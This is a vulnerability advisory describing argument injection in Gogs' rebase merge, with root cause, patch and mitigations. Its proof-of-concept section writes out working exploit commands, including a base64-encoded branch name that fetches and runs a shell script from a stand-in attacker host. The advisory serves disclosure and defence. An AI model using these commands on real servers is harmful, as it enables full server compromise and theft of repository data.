CVE-2026-52806: Gogs RCE via git rebase --exec Argument Injection
Any authenticated Gogs user can run arbitrary commands on the server by naming a git branch starting with --exec= and opening a pull request that uses the Rebase merge style.

The problem
In Gogs before 0.14.3, the Merge() function in internal/database/pull.go passes pr.BaseBranch directly to git rebase without a -- separator or any prefix check. Because the value comes from attacker-controlled input (the branch name pushed to the repo), a branch named --exec=<cmd> is treated by git as the --exec flag, not as a branch name argument.
The impact is full server compromise. git rebase --exec runs the supplied command via sh -c as the Gogs process user (typically git), giving the attacker read/write access to every repository on the instance. Since Gogs ships with open registration enabled by default, an unauthenticated attacker can register an account, create a repo, enable rebase merge, and fire the exploit entirely within their own account.
Proof of concept
# Step 1: create the malicious branch locally and push it
git update-ref 'refs/heads/--exec=touch${IFS}/tmp/pwned' HEAD
git push origin 'refs/heads/--exec=touch${IFS}/tmp/pwned:refs/heads/--exec=touch${IFS}/tmp/pwned'
# Step 2: open a PR (base = malicious branch, head = any feature branch)
# URL-encoded compare URL:
# /attacker/demo/compare/%2D%2Dexec%3Dtouch%24%7BIFS%7D%2Ftmp%2Fpwned...feature
# Step 3: trigger Rebase merge via the API
curl -s -u attacker:Password123 -X POST \
http://gogs:3000/attacker/demo/pulls/1/merge \
-d 'merge_style=rebase'
# What git actually executes on the server:
# git rebase --quiet '--exec=touch${IFS}/tmp/pwned' 'head_repo/feature'
# => sh -c 'touch /tmp/pwned' (IFS expands to space)
# For payloads with characters forbidden in git ref names (colons, slashes, etc.)
# base64-encode the command and use the decode-and-pipe form:
git update-ref \
'refs/heads/--exec=echo${IFS}Y3VybCBodHRwczovL2F0dGFja2VyLmNvbS9zaGVsbC5zaHxzaA==|base64${IFS}-d|sh' \
HEADThe root cause is CWE-77 (command injection via unsanitized argument). In pull.go line 282, pr.BaseBranch is passed as a positional argument to git rebase with no -- separator. Git parses arguments left-to-right, so any value starting with -- is consumed as a flag, not a branch name.
The --exec flag tells git to run a shell command after each replayed commit via sh -c.
The ${IFS} trick matters because git rejects branch names containing literal spaces. IFS (the shell internal field separator) defaults to space/tab/newline and expands after the argument reaches the shell, neatly bypassing git's own ref-name validation.
The patch (PR #8301, commit a9dbafb) adds two defenses: it rejects any branch name starting with - at the top of Merge(), and adds --end-of-options before the branch arguments in the git rebase call. Either defense alone breaks the exploit; both together are applied for consistency with how the git-module library already hardens Clone, Push, and Fetch.
The fix
Upgrade to Gogs 0.14.3 (released June 7, 2026), which includes commit a9dbafb from PR #8301. The fix rejects branch names starting with a hyphen in Merge() and adds --end-of-options to the git rebase invocation. If an immediate upgrade is not possible, set DISABLE_REGISTRATION = true in app.ini to block unauthenticated account creation, and set MAX_CREATION_LIMIT = 0 to prevent existing users from creating new repositories with rebase enabled.
Reported by Jonah Burgess (CryptoCat) - Rapid7.